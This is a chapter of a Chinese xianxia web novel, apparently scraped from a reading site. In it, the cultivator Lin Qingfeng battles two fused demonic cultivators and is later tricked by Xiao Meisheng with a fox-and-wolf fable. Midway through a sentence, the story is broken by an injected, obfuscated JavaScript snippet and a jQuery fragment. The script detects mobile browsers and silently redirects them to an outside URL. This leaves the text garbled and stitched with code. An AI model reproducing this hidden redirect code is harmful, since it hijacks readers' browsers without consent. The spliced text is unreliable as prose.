长棍上从她手握的地方一点点往下流血,在地面上聚起一小团血洼。后背上涌起的燥热无法压制,灵力开始在她体内狂乱游走,林清风有一瞬间的惊慌,低头从芥子袋中掏出回转丹咽了几颗。
她现在的身体情况根本不足以让她抵挡入微境的攻击。
体内的气息前所未有的混乱,经脉也翻滚着,似乎是在向这身体的主人求救。林清风强行压下心里的惊慌,站起身干脆利落地甩掉长棍上的血,看向吴弯。
“就凭她?”吴弯眼神倏地看向刚刚发出声音的地方,阴寒的杀意与不屑穿过木板,吓得女子失声倒地。
林清风抬手擦掉嘴角的血,张口时看向吴弯的眼中依旧充满了挑衅。
“那就试试看。”
她不知道自己能撑多久,只能在打斗中时不时盯着头顶的蛛网看。吴弯的攻势越加强烈,唐鸿站在远处与刘弱弱商量着什么,林清风听不清,耳边只有飒飒的刀刃声。
紧接着刘弱弱捶着结界,脚下踩着长刀,丝毫不顾刀刃刺进脚底的痛苦,想通过蛮力破坏阵法。林清风转过身躲过吴弯的攻击,冲向刘弱弱。
身形庞大就无法灵活,林清风从怀中掏出不知道多少的符纸,也不管是什么,绕着他的腿脚一直往上贴。
吴弯跟在后面,喊着要刘弱弱快速击破结界,林清风在吴弯追来时迅速撤退,往自己眼前叠加了一个结界后急忙掏出玄灵镜。
只是还来不及看清玄灵镜,爆破声以及鲜血骨头炸开,几乎要淹没整个长街,然后出现了让林清风瞳孔骤缩的一幕。
昏暗的魔气之中,蛛网开始再次裂开,她的阵法受到符咒的冲击一点点碎开,淡青色的灵气划过后隐藏在黑雾中的刘弱弱与吴弯显出身形。
那些骨头血肉明明已经成渣,却慢慢从地面上浮起,脓水与鲜血滴落又附着,一点点回到刘弱弱身上。
唐鸿早就吓到失声,蜷缩在最边缘处连脚都抬不起。
他抬头望去,看见的是有两个头颅的刘弱弱。
空气中的桃花香味更重,林清风手中的玄灵镜闪个不停,她却没法低头。
刘弱弱如山般的手掌中拿着一枝怡黄叶。
“小道士,今日我便要尝尝这正道人士究竟是何滋味。”吴弯没了身子,一颗算起来有些小的头靠在刘弱弱头旁边,看起来诡异得可怖。
两人合为一体了。
林清风只觉得胃里翻江倒海,一股又一股的酸水反上来,脑海像是要炸了一般几乎站立不住。
甜腻与庞大混杂,林清风低着头一遍遍念着清心咒,却没办法消去眼前看到的怪物的惊惧。
——砰!
——砰!
是刘弱弱往前走的步子还是自己的心跳声,她已经有些分不清。
身体叫嚣着逃跑,大脑又让她停在原地。
制作云中仙的怡黄叶只由逍遥宗把控,为何会出现在两个魔修手上?
“凡尘贪嗔无尽数,遥想飘然云中仙。”刘弱弱低低吟唱,一步步向前,轰塌了无数房屋。林清风将棍身上灌注了全部灵力,想着当时在百花谷杀死魔兽的致命点,准备放手一搏。
一抹红蓦地出现站在半空中,声音通过灵力传了过来。
“活了这么久,听到最好笑的笑话。”她手中拿着一颗留影石对着刘弱弱,娇媚一笑,“存下了。”
听了这话,刘弱弱猛然嘶吼出声,奔跑着向萧媚生跑去。
空中的蛛网一点点散开,上面的颜色越来越淡,远处的萧媚生与刘弱弱一来一回间已经占了上风,海面上波涛汹涌,林清风心中松了口气。
她忍着身上的疼对着最近的一间屋子敲了敲门。“虫子消失了吗?”
女修的声音沙哑,走过来甚至带着浓郁的血腥气,可是语气确十分温柔。里面跪坐着的十几个女子急急点头,又赶忙回答道,“消失了,消失了,仙子。”
她们紧紧裹着身上的衣裙,眼泪大颗涌出,却没怎么发出声音。
“别怕,很快会有逍遥宗修士前来。”林清风站在门边,眼眸低垂,“到时候定会给诸位安顿好。”
一道声音在林清风背后响起,“别以为我不知道,那萧媚生也就不过是青楼妓子,老子睡——”话音未落,准备离开的林清风却蓦然间转身,几个闪身逼近,脸上带了几分认真的冷肃。
——呲
林清风硬是逼近,反手挡了后面袭来的魔气,而后抬手从背后抽出长棍,盯着唐鸿的脸露出一个嚣张的笑。剑气划过,那张令人作呕的脸下半部分直接被削掉,而一截舌头直接从他口中吐出,掉在了地上,染上了腥臭和泥土。
“我看你并不知晓舌头的用法。”
这一次动用灵力耗尽了她所有的力气,喉间忍不住涌上一大片鲜血,又被她咽下。
原本蜷缩在墙角的女子脑中刹那清明,那些低低抽泣的女子也抬头隔着门窗看向外面那道消瘦又笔直的剪影。
“小女子可否知晓仙子名讳?”
清泠泠的声音响起,里面夹杂了些许温柔。
“逍遥林清风。”
*
刚出城,林清风便靠着墙边吐出一大口鲜血。
她弯着腰紧闭双眼忍受着体内那根伪灵根的燥热,只觉得灵根在一点点从她的体内往出抽离。
蚀骨之痛与狂乱的灵气在她的体内绞在一起,让她的身体忍不住地颤抖。
芥子袋中的瓷瓶多,林清风低声喘着气,睁开已经浸满泪水的眼睛掏出一颗回转丹咽了下去。
逍空的修为都压不住灵根的剥离,从骨头上连带着肉中一点点往出抽,像是一柄弯刀在缓慢地刮着骨头,划开皮肉。
剔骨之痛逼着她弯下腰,又贴着城墙边站稳。
林清风咬紧牙关,鼻子里发出闷哼,颤抖着手从芥子袋中找药。
不知道吃了多少丹药,终于抑制下去疼痛后她靠着城墙调整呼吸。
远远的一个浑身是血的女子朝着她走过来。林清风像是不可置信般看向萧媚生,就看见女修从额角开始满脸的鲜血泡透的衣裙,沾在身上,又被烈日晒干。
没走到林清风近前,萧媚生突然间脱了力趴倒在地。
这账要怎么算?
林清风只觉得额头上青筋暴起,被入微境的两个魔修伤过的地方又开始隐隐作痛。
远处海浪翻滚,烈日灼心,林清风额头上冒出细细麻麻的汗,弯着腰往前走。
她的背上背着一个浑身是血的女修。
也不知道究竟是谁更狼狈,林清风嗓子又干又哑,脚早都抬不起了,凭着一股气往前走。
“小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816331|175273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公主辛苦了。”萧媚生不知道什么时候醒来的,心安理得地趴在林清风背上,声音虚弱却不忘时刻散发媚意。
林清风脸上的汗与血混在一起,又在阳光下晒干。
“你说的传送阵在哪?”
“再往前走两步,马上就到。”萧媚生抬手指着前面的树林,眼睛转了一下,问道,“你听没听过狐狸和狼的故事?”
林清风看在她解救了无数女子,又受了重伤的份上,忍着身上有些麻木的疼意坚持往前走了几步。
见林清风不说话,萧媚生自顾自说了起来。
“话说很久很久以前的冬天,有一匹狼脱离了狼群,独自外出觅食。不过这是只狼崽子,还没学会化形,几次跑去农户家中偷肉都被发现,次次都被棍棒打出村子。”
“又一日它太饿了,却见一只狐狸从农户家中大摇大摆着出来,肚子吃得溜圆,嘴巴油润。”像是想到什么好玩的事,萧媚生低低笑了笑,接着道,“所以这狼崽子就急忙跑上前去请教,想知晓如何才能饱餐一顿。”
“狐狸心善,带着狼崽子去了村东头的湖边,让它凿开一个小小洞口‘湖里有鱼,尾巴伸下去就能钓到了。’”
所以狼崽子就认真挖呀挖,等开了洞便将尾巴垂了下去。
“‘那怎么知道有鱼呢?’狼崽子乖乖坐在冰湖上面,等狐狸回答。‘要是觉得尾巴有点重,就是有鱼咬钩了~’”萧媚生声音断断续续,抬手擦了下林清风脸上的汗,“可是狼崽子太笨了,就那么坐在湖面上从夜晚等到了清晨。”
“远处村民吆喝着来打鱼,就见一只狼坐在湖面上。众人蜂拥而至,手上的扁担锄头都狠狠敲在狼崽子身上,呼喊着更多的人来帮忙。”
“狼真笨。”林清风终于接话,站在原地缓了缓。
“对啊,”萧媚生又勾过林清风的一缕头发在手上把玩,“狼崽子想跑,可是尾巴已经被冻在湖里了,最后只好断尾求生,急急忙忙逃出去。”
“它一身的伤走在路上,觉得是狐狸骗了它,下决心要等见了狐狸好好理论一番,却在半路上看见狐狸从一家农户中出来,张开的口中往出冒血,身上的毛更是被鲜红染透。”
“狼崽子吓了一大跳,跑过去问这才知晓狐狸也被人打了。‘村民追过来了,你背着我咱们逃快些。’”萧媚生眼中的笑意怎么藏都藏不住,眼尾勾起,活像一只狐狸。
林清风看着怎么走也走不到的阵法,大脑有些放空。
萧媚生的声音左耳进右耳出,她肩膀上也慢慢开始又疼又麻。
“狼背着一身是血的狐狸慢慢逃跑,却不知这一身的红是因为狐狸偷吃掉进了红糟缸中。狐狸心里高兴,不自觉地唱起歌来。”
“你猜这狐狸唱着什么?”萧媚生带着些娇俏轻快的声音传进林清风的耳中。
“什么。”站着的狼崽子喘了口气,侧过头看向萧媚生。
“挨了打的背着没挨打的~没挨打的骗了挨了打的~”
一阵燥热的风吹过,林清风站在原地终于后知后觉地发现萧媚生身上没有一点点的血腥味。她愣在原地,只觉得脑海全部被萧媚生的唱歌声占据。
萧媚生松了手,从林清分背后滑落然后自然的躺在地上,疯狂地大笑起来。
“哎呀,别生气了,你要进阶了~”